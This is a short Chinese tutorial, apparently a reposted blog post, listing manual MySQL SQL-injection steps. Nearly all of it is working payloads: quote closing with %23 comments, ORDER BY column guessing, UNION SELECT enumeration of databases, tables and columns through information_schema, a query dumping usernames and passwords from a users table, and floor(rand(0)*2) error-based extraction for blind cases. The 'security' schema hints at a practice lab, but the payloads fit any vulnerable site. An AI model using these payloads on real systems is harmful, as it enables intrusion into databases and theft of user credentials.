mysql手工注入步驟


1.一般用 '  "  ) 等符號來閉合,再用%23(即#)來注釋后面語句。

2.查找數據庫,先用order by n猜字段,再用union select 1,2,3 ...n%23來查詢。

union select 1,2,database()%23

3.利用information_schema庫中tables這張表,查mysql數據庫中的第一個表。

select table_name from information_schema.tables where table_schema='mysql' limit 0,1;

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

4.利用information_schema庫中columns這張表,查mysql數據庫中user表中的第一列名。

select column_name from information_schema.columns where table_schema='mysql' and table_name='user' limit 0,1;

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

5.知道庫名,表名,列名直接查數據了

union select 1,group_concat(username),group_concat(password) from users%23

6.當無回顯時可利用報錯大法(其他報錯函數也行,可參考我另一篇博客)

select count(*),floor(rand(0)*2) x from information_schema.tables group by x;

錯誤報告中的'1'就是floor(rand(0)*2)的執行結果

爆mysql數據庫中的第一張表名

select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema="mysql" limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x;


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM